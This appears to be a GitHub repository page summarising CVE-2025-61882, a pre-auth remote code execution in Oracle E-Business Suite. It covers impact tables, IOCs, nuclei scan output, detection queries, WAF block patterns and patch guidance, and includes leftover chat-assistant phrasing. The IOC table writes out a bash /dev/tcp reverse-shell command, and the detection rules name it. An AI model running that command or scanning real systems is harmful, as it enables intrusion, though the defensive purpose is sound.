Associated Vulnerability
Title:Oracle E-Business Suite 安全漏洞 (CVE-2025-61882)Description:Vulnerability in the Oracle Concurrent Processing product of Oracle E-Business Suite (component: BI Publisher Integration). Supported versions that are affected are 12.2.3-12.2.14. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Successful attacks of this vulnerability can result in takeover of Oracle Concurrent Processing. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).
Description
CVE-2025-61882
Readme
# 🛡️🚨 CVE‑2025‑61882 — Critical Pre‑Auth Remote Code Execution in Oracle E‑Business Suite (EBS) 🚨🛡️
> Short summary: **Critical pre‑auth remote code execution** in **Oracle E‑Business Suite (EBS)** — affects 12.2.3 → 12.2.14, CVSS **9.8**, actively exploited in the wild (ransom/ extortion activity reported). ([oracle.com][1])
---
# 📌 Quick facts (table)
| Field | Details |
| ------------------------ | -------------------------------------------------------------------------------- |
| 🆔 CVE | **CVE‑2025‑61882** |
| 🧾 Product / Component | Oracle E‑Business Suite (EBS) — Concurrent Processing / BI Publisher integration |
| 📦 Affected versions | **12.2.3 → 12.2.14** |
| 🔢 CVSS (v3.1) | **9.8** (AV:N/AC:L/PR:N/UI:N/C:H/I:H/A:H) |
| ⚠️ Type | Remote Code Execution (RCE) — **no authentication required** |
| 🔥 Exploited in the wild | **Yes** — mass exploitation / extortion campaigns reported |
| 📅 Disclosure / timeline | October 2025 (vendor advisory + public writeups). ([oracle.com][1]) |
*(Above consolidated from vendor advisory, NVD/CISA, and multiple vendor analyses.)* ([oracle.com][1])
---
# 💥 Impact (table)
| Impact area | What it means |
| ------------------ | ------------------------------------------------------------------------------ |
| 🔓 Confidentiality | Attackers can read sensitive HR/finance/ERP data |
| 🛠️ Integrity | Attackers can modify records, create backdoors or alter configurations |
| ⚡ Availability | Attackers can disrupt services, execute ransomware or destroy backups |
| 🧭 Risk level | **Extreme** — pre‑auth RCE on critical ERP system → possible full domain pivot |
References reporting high‑impact exploitation and ransomware linkage. ([Rapid7][2])
---
# 🛠️ Technical summary (concise)
* **Vector:** HTTP/HTTPS requests to exposed EBS web endpoints trigger a vulnerability chain in the Concurrent Processing / BI Publisher integration leading to remote code execution. ([oracle.com][1])
* **Complexity:** Low (no authentication, no user interaction). ([nvd.nist.gov][3])
* **Observed payloads:** reverse shell patterns, web shells, dropped scripts used for data exfiltration and extortion. ([Rapid7][2])
---
# 🕵️♀️ Indicators of Compromise (IOCs) — examples (table)
> Oracle and incident responders published IOCs; below are representative examples reported in advisories and vendor writeups. Hunt for these patterns in logs and endpoints. ([oracle.com][1])
| Type | Example |
| ------------------ | ----------------------------------------------------------------------------------------- |
| 🌐 IPs (observed) | `200.107.207.26`, `185.181.60.11` (example addresses reported) |
| 🧾 Command pattern | `sh -c /bin/bash -i >& /dev/tcp/<ip>/<port> 0>&1` (reverse shell) |
| 🗂️ File hashes | Several SHA‑256 hashes for suspected exploit scripts (see vendor advisory for full list) |
| 🕳️ Artifacts | Unexpected web shells, new cronjobs, suspicious outbound connections to unusual IPs/ports |
> If you want the **full IOC list** (IPs, full hashes, filenames) I can paste it here — say “paste IOCs”. (No links.)
---
# 🧭 Timeline (compact)
| Date | Event |
| ------------------ | --------------------------------------------------------------------------------------------------------------------------------------------- |
| Aug 9, 2025 | Earliest reported real‑world exploitation activity (vendor telemetry). ([crowdstrike.com][4]) |
| Early Oct 2025 | Oracle issued security alert / patch availability for EBS. ([oracle.com][1]) |
| Oct 6–7, 2025 | CISA added the CVE to its Known Exploited Vulnerabilities (KEV) catalog (federal agencies guidance, due date for mitigation). ([cisa.gov][5]) |
| Oct 2025 (ongoing) | Multiple vendor writeups and mass‑exploit reports (CrowdStrike, Rapid7, Tenable, etc.). ([crowdstrike.com][4]) |
---
# ✅ Immediate recommended actions (step table)
| Priority | Action | Notes / Sample specifics |
| ------------ | -------------------------------------------------: | ------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| 1️⃣ Critical | **Patch** affected EBS instances | Apply Oracle’s Security Alert patches for versions 12.2.3–12.2.14 immediately. ([oracle.com][1]) |
| 2️⃣ High | **Isolate / restrict** access to EBS web endpoints | Block Internet‑facing HTTP/HTTPS to EBS; allow only trusted admin IPs or VPN. |
| 3️⃣ High | **Enable/adjust WAF rules** | Deploy vendor/community WAF signatures for the exploit patterns; block suspicious payloads. ([Rapid7][2]) |
| 4️⃣ High | **Hunt & detect** | Search logs for reverse shell commands, abnormal file writes, and outbound connections to IOCs. |
| 5️⃣ Incident | **Contain & respond** if compromise found | Isolate host, preserve forensic evidence, change credentials, rebuild from clean backups. |
| 6️⃣ Policy | **Report & notify** | If you’re in scope of regulatory/contractual requirements, notify stakeholders and authorities per policy (CISA/KEV guidance may apply). ([nvd.nist.gov][3]) |
---
# 💀 Exploits :
```yaml
┌──(kali㉿kali)-[~]
└─$ nuclei -u http://10.10.10.10:8000 -t CVE-2025-61882.yaml
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 1
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Wed, 20 Aug 2025 08:20:09 GMT"]
[INF] Scan completed in 485.722955ms. 1 matches found.
┌──(kali㉿kali)-[~]
└─$ nuclei -l targets.txt -t CVE-2025-61882.yaml
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v3.4.10
projectdiscovery.io
[INF] Current nuclei version: v3.4.10 (latest)
[INF] Current nuclei-templates version: v10.2.9 (latest)
[INF] New templates added in latest release: 182
[INF] Templates loaded for current scan: 1
[WRN] Loading 1 unsigned templates for scan. Use with caution.
[INF] Targets loaded for current scan: 7
[INF] Running httpx on input host
[INF] Found 7 URL from httpx
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Mon, 02 Oct 2023 13:57:20 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Wed, 20 Aug 2025 08:20:09 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Sat, 31 Aug 2024 15:30:07 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Tue, 15 Aug 2023 16:58:09 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Fri, 30 Aug 2024 21:49:46 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http://10.10.10.10:8000 ["Sun, 16 May 2021 17:03:44 GMT"]
[CVE-2025-61882:last_modified_date] [http] [critical] http:/10.10.10.10:8000 ["Fri, 01 Sep 2023 13:20:35 GMT"]
[INF] Scan completed in 621.029991ms. 7 matches found.
```
<img width="1920" height="957" alt="CVE-2025-61882 Oracle E-Business Suite 1" src="https://github.com/user-attachments/assets/3cadb847-3c75-4ab3-b864-cff8920f72bf" />
<img width="1920" height="960" alt="CVE-2025-61882 Oracle E-Business Suite 4" src="https://github.com/user-attachments/assets/0a1c21b1-6976-4231-a852-87e2bac722af" />
---
# 🕵️♂️ Sample detection queries (copy/paste friendly)
**Splunk (search for reverse shell pattern):**
```
index=web OR index=ebs_logs (uri_path="/cgi/*" OR uri_path="/xmlpserver/*")
| search "* /bin/bash -i * /dev/tcp/*" OR "*/dev/tcp/* 0>&1*"
| table _time host src_ip user uri_path _raw
```
**ELK / Kibana (KQL):**
```
http.request.body : "*bash -i*" or http.request.body : "* /dev/tcp/*"
```
**Sigma rule (conceptual):**
```yaml
title: Oracle EBS Reverse Shell via HTTP
detection:
selection:
EventID: 1234
ProcessCommandLine|contains: "/dev/tcp/"
condition: selection
```
*(Adjust field names to your log schema; use IOCs to refine.)*
---
# 🔐 Sample firewall / WAF mitigations (examples)
* **Network ACL:** Block inbound `80/443` to EBS servers from the public internet; allow only management VPN and specific admin IPs.
* **WAF rule (pseudo):** Block requests containing `bash -i`, `/dev/tcp/`, `base64 -d`, or typical exploit payload patterns in POST bodies or URL parameters.
* **Rate limiting / geo‑block:** Temporarily rate‑limit requests to EBS endpoints and block traffic from known malicious geographies if consistent with business needs.
---
# 🧾 Patch checklist (quick)
1. Take backups & snapshot VM images ✅
2. Test patch in staging (if possible) ✅
3. Apply Oracle Security Alert patch to EBS 12.2.3–12.2.14 ✅ (follow vendor steps: stop services, apply patch, run post‑install tasks) ([oracle.com][1])
4. Restart and validate service health ✅
5. Re‑scan for compromise artifacts and run full host forensic checks ✅
---
# 🧠 Threat actor / exploitation notes
* Multiple vendors attribute active exploitation to groups tied to extortion/ransomware (e.g., **Cl0p / Graceful Spider** or related actors) — used for data theft and extortion. Attribution confidence varies by vendor. ([crowdstrike.com][4])
---
# 📋 For SOC / IR teams — playbook checklist
* **Triage:** Inbound exploit attempt? Capture HTTP request, headers, POST body.
* **Contain:** Isolate affected host network.
* **Forensics:** Collect memory, disk image, web server logs, audit logs.
* **Remediate:** Rebuild host from clean image if compromise confirmed.
* **Recovery:** Restore from known‑good backups; rotate credentials.
* **Report:** Log incident, notify stakeholders, comply with KEV/CISA guidance if applicable. ([nvd.nist.gov][3])
---
# 🔎 Sources (short list of authoritative reporting)
*(I list sources for accuracy — I won’t paste links here but these are the vendor/authority names so you can reference them if needed.)*
* Oracle Security Alert / Patch Availability (vendor advisory). ([oracle.com][1])
* NVD / CISA (CISA KEV catalog entry and NVD metadata). ([nvd.nist.gov][3])
* CrowdStrike technical report on campaigns. ([crowdstrike.com][4])
* Rapid7 / Tenable / other vendor analyses and FAQs. ([Rapid7][2])
---
# Here’s a **professional, emoji-rich disclaimer** you can use for your CVE‑2025‑61882 report:
---
# ⚠️💀 Disclaimer 💀⚠️
The information provided in this report is **for awareness, defensive, and educational purposes only**.
Use of this information to exploit, attack, or compromise any system **without explicit authorization is illegal** and may result in **criminal and civil penalties**.
🔒 Always apply recommended patches, follow security best practices, and conduct testing **in controlled environments only**.
🧾 This report **does not replace official vendor advisories** — always consult Oracle Security Alerts and authorized guidance for definitive remediation instructions.
---
File Snapshot
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